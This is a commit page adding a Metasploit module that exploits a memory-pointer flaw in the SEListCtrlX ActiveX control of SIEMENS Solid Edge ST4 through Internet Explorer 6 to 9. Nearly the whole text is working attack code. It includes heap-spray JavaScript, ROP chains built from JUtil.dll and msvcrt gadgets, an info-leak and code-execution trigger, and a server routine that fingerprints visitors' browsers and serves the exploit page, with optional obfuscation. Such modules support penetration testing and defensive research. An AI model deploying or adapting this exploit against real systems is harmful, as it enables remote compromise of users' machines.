Add module for OSVDB 93696
jvazquez-r7
parent
6c8f86883d
commit
6483c5526a
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@ -0,0 +1,500 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "6.0",
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:ua_maxver => "9.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:rank => Rank,
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:classid => "{5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}"
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution",
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'Description' => %q{
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This module exploits the SEListCtrlX ActiveX installed with the SIEMENS Solid Edge product.
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The vulnerability exists on several APIs provided by the control, where user supplied input
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is handled as a memory pointer without proper validation, allowing an attacker to read and
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corrupt memory from the target process. This module abuses the methods NumChildren() and
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DeleteItem() in order to achieve memory info leak and remote code execution respectively.
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This module has been tested successfully on IE6-IE9 on Windows XP SP3 and Windows 7 SP1,
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using Solid Edge 10.4.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rgod <rgod[at]autistici.org>', # Vulnerability discovery and PoC
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'OSVDB', '93696' ],
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[ 'EDB', '25712' ],
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[ 'URL', 'http://retrogod.altervista.org/9sg_siemens_adv_ii.htm' ]
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],
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'Payload' =>
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{
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'Space' => 906,
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Jutil.dll 104.0.0.82
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# SEListCtrlX 104.0.0.82
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
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[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],
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[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
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[ 'IE 8 on Windows Vista', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ],
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[ 'IE 8 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ],
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[ 'IE 9 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5fe' } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "May 26 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def junk
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return rand_text_alpha(4).unpack("V").first
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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ie_name = "IE #{ie}"
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '6.0'
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os_name = 'Windows Vista'
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when '6.1'
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os_name = 'Windows 7'
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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print_status("Target selected as: #{t.name}")
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return t
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end
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end
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return nil
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end
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# JUtil ROP Chain
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# Jutil Base: 0x1d550000
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# Stack Pivot: jutil_base + 0x000a5843 # xchg eax, esp # ret
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# Adjust Stack: jutil_base + 0x00212f17 # pop # pop # ret
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# 0x1db2e121, # POP EDX # RETN [JUtil.dll]
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# 0x1d5520ca, # ptr to &VirtualProtect() [IAT JUtil.dll]
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# 0x1da0ebeb, # MOV EDX,DWORD PTR DS:[EDX] # RETN [JUtil.dll]
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# 0x1da103d2, # MOV ESI,EDX # RETN [JUtil.dll]
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# 0x1d70e314, # POP EBP # RETN [JUtil.dll]
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# 0x1d5fc8e8, # & jmp esp [JUtil.dll]
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# 0x1d631859, # POP EBX # RETN [JUtil.dll]
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# 0x00000201, # 0x00000201-> ebx
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# 0x1d769cf9, # POP EDX # RETN [JUtil.dll]
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# 0x00000040, # 0x00000040-> edx
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# 0x1d6d2e50, # POP ECX # RETN [JUtil.dll]
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# 0x1da45217, # &Writable location [JUtil.dll]
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# 0x1d632fd1, # POP EDI # RETN [JUtil.dll]
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# 0x1d6839db, # RETN (ROP NOP) [JUtil.dll]
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# 0x1d752439, # POP EAX # RETN [JUtil.dll]
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# 0x90909090, # nop
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# 0x1da4cfe3, # PUSHAD # RETN [JUtil.dll]
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def ie9_spray(t, p)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))
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js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(t.arch))
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js = %Q|
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function rop_chain(jutil_base){
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var arr = [
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Number(Math.floor(Math.random()*0xffffffff)),
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Number(0x0c0c0c0c),
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Number(0x0c0c0c0c),
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Number(0x0c0c0c1c),
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Number(0x0c0c0c24),
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Number(0x0c0c0c28),
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Number(Math.floor(Math.random()*0xffffffff)),
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Number(Math.floor(Math.random()*0xffffffff)),
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Number(0x0c0c0c0c),
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Number(0x0c0c0c3c),
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jutil_base + Number(0x00212f17),
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jutil_base + Number(0x000a5843),
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Number(0x0c0c0c34),
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jutil_base + Number(0x5de121),
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jutil_base + Number(0x20ca),
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jutil_base + Number(0x4bebeb),
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jutil_base + Number(0x4c03d2),
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jutil_base + Number(0x1be314),
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jutil_base + Number(0xac8e8),
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jutil_base + Number(0xe1859),
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Number(0x00000201),
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jutil_base + Number(0x219cf9),
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Number(0x00000040),
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jutil_base + Number(0x182e50),
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jutil_base + Number(0x4f5217),
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jutil_base + Number(0xe2fd1),
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jutil_base + Number(0x1339db),
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jutil_base + Number(0x202439),
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Number(0x90909090),
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jutil_base + Number(0x4fcfe3)
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];
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return arr;
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}
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function d2u(dword){
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var uni = String.fromCharCode(dword & 0xFFFF);
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uni += String.fromCharCode(dword>>16);
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return uni;
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}
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function tab2uni(tab){
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var uni = ""
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for(var i=0;i<tab.length;i++){
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uni += d2u(tab[i]);
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}
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return uni;
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}
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function randomblock(blocksize)
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{
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var theblock = "";
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for (var i = 0; i < blocksize; i++)
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{
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theblock += Math.floor(Math.random()*90)+10;
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}
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return theblock;
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}
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function tounescape(block)
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{
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var blocklen = block.length;
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var unescapestr = "";
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for (var i = 0; i < blocklen-1; i=i+4)
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{
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unescapestr += "%u" + block.substring(i,i+4);
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}
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return unescapestr;
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}
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var heap_obj = new heapLib.ie(0x10000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_random_nops}");
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function heap_spray(jutil_base) {
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while (nops.length < 0x80000) nops += nops;
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var offset_length = #{t['Offset']};
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for (var i=0; i < 0x1000; i++) {
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var padding = unescape(tounescape(randomblock(0x1000)));
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while (padding.length < 0x1000) padding+= padding;
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var junk_offset = padding.substring(0, offset_length);
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var rop = tab2uni(rop_chain(jutil_base));
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var single_sprayblock = junk_offset + rop + code + nops.substring(0, 0x800 - rop.length - code.length - junk_offset.length);
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while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
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sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
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heap_obj.alloc(sprayblock);
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}
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}
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return js
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end
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def ie8_spray(t, p)
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch))
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))
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js = %Q|
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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function rop_chain(jutil_base){
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var arr = [
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Number(Math.floor(Math.random()*0xffffffff)),
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Number(0x0c0c0c0c),
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Number(0x0c0c0c0c),
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Number(0x0c0c0c1c),
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Number(0x0c0c0c24),
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Number(0x0c0c0c28),
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Number(Math.floor(Math.random()*0xffffffff)),
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Number(Math.floor(Math.random()*0xffffffff)),
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Number(0x0c0c0c0c),
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Number(0x0c0c0c3c),
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jutil_base + Number(0x00212f17),
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jutil_base + Number(0x000a5843),
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Number(0x0c0c0c34),
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jutil_base + Number(0x5de121),
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jutil_base + Number(0x20ca),
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jutil_base + Number(0x4bebeb),
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jutil_base + Number(0x4c03d2),
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jutil_base + Number(0x1be314),
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jutil_base + Number(0xac8e8),
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jutil_base + Number(0xe1859),
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Number(0x00000201),
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jutil_base + Number(0x219cf9),
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Number(0x00000040),
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jutil_base + Number(0x182e50),
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jutil_base + Number(0x4f5217),
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jutil_base + Number(0xe2fd1),
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jutil_base + Number(0x1339db),
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jutil_base + Number(0x202439),
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Number(0x90909090),
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jutil_base + Number(0x4fcfe3)
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];
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return arr;
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}
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function d2u(dword){
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var uni = String.fromCharCode(dword & 0xFFFF);
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uni += String.fromCharCode(dword>>16);
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return uni;
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}
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function tab2uni(tab){
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var uni = ""
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for(var i=0;i<tab.length;i++){
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uni += d2u(tab[i]);
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}
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return uni;
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}
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function heap_spray(jutil_base) {
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{t['Offset']});
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var rop = tab2uni(rop_chain(jutil_base));
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var shellcode = offset + rop + code + nops.substring(0, 0x800-rop.length-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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}
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return js
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end
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def ie6_spray(t, p)
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch))
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))
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js = %Q|
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var heap_obj = new heapLib.ie(0x20000);
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var nops = unescape("#{js_nops}");
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var code = unescape("#{js_code}");
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function heap_spray() {
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{t['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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}
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return js
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end
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def ie_heap_spray(my_target, p)
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# Land the payload at 0x0c0c0c0c
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case my_target
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when targets[7]
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# IE 9 on Windows 7
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js = ie9_spray(my_target, p)
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when targets[5], targets[6]
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# IE 8 on Windows 7 and Windows Vista
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js = ie8_spray(my_target, p)
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else
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js = ie6_spray(my_target, p)
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end
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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@heap_spray_fn = js.sym("heap_spray")
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else
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@heap_spray_fn = "heap_spray"
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end
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return js
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end
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def get_windows_xp_payload
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fake_memory = [
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junk, # junk # 0c0c0c0c
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0x0c0c0c0c, # Dereference # 0c0c0c10
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0x0c0c0c0c, # Dereference # 0c0c0c14
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0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18
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0x0c0c0c24, # Dereference # 0c0c0c1c
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0x0c0c0c28, # Dereference # 0c0c0c20
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junk, # junk # 0c0c0c24
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junk, # junk # 0c0c0c28
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0x0c0c0c0c, # Dereference # 0c0c0c2c
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0x0c0c0c30, # Dereference # 0c0c0c30
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0x0c0c0c38, # new eip # 0c0c0c34
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].pack("V*")
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p = fake_memory + payload.encoded
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return p
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end
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def get_windows_msvcrt_payload
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fake_memory = [
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junk, # junk # 0c0c0c0c
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0x0c0c0c0c, # Dereference # 0c0c0c10
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0x0c0c0c0c, # Dereference # 0c0c0c14
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0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18
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0x0c0c0c24, # Dereference # 0c0c0c1c
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0x0c0c0c28, # Dereference # 0c0c0c20
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junk, # junk # 0c0c0c24
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junk, # junk # 0c0c0c28
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0x0c0c0c0c, # Dereference # 0c0c0c2c
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0x0c0c0c3c, # Dereference # 0c0c0c30
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0x77c21ef4, # ppr msvcrt # 0c0c0c34
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0x77c15ed5, # xchg eax,esp # ret (msvcrt)
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0x0c0c0c34 # eax value # 0c0c0c3c
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].pack("V*")
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return generate_rop_payload('msvcrt', payload.encoded, {'pivot'=> fake_memory, 'target'=>'xp'})
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end
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def get_payload(t)
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# Both ROP chains generated by mona.py - See corelan.be
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case t['Rop']
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when :msvcrt
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print_status("Using msvcrt ROP")
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p = get_windows_msvcrt_payload
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when :jutil
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print_status("Using JUtil ROP built dynamically...")
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p = payload.encoded
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else
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print_status("Using payload without ROP...")
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p = get_windows_xp_payload
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end
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return p
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end
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def info_leak_trigger
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js = <<-EOS
|
||||
<object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' />
|
||||
</object>
|
||||
<script language='javascript'>
|
||||
jutil_address = obj.NumChildren(0x10017018 - 0x0c);
|
||||
jutil_base = jutil_address - 0x49440;
|
||||
#{@heap_spray_fn}(jutil_base);
|
||||
obj.DeleteItem(0x0c0c0c08);
|
||||
</script>
|
||||
EOS
|
||||
|
||||
return js
|
||||
end
|
||||
|
||||
def exec_trigger
|
||||
js = <<-EOS
|
||||
<object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' />
|
||||
</object>
|
||||
<script language='javascript'>
|
||||
#{@heap_spray_fn}();
|
||||
obj.DeleteItem(0x0c0c0c08);
|
||||
</script>
|
||||
EOS
|
||||
|
||||
return js
|
||||
end
|
||||
|
||||
def get_trigger(t)
|
||||
case t['Rop']
|
||||
when :jutil
|
||||
js = info_leak_trigger
|
||||
else
|
||||
js = exec_trigger
|
||||
end
|
||||
|
||||
return js
|
||||
end
|
||||
|
||||
def load_exploit_html(my_target)
|
||||
p = get_payload(my_target)
|
||||
js = ie_heap_spray(my_target, p)
|
||||
trigger = get_trigger(my_target)
|
||||
|
||||
html = %Q|
|
||||
<html>
|
||||
<head>
|
||||
<script language='javascript'>
|
||||
#{js}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
#{trigger}
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
uri = request.uri
|
||||
print_status("Requesting: #{uri}")
|
||||
|
||||
my_target = get_target(agent)
|
||||
# Avoid the attack if no suitable target found
|
||||
if my_target.nil?
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
html = load_exploit_html(my_target)
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
print_status("Sending HTML...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue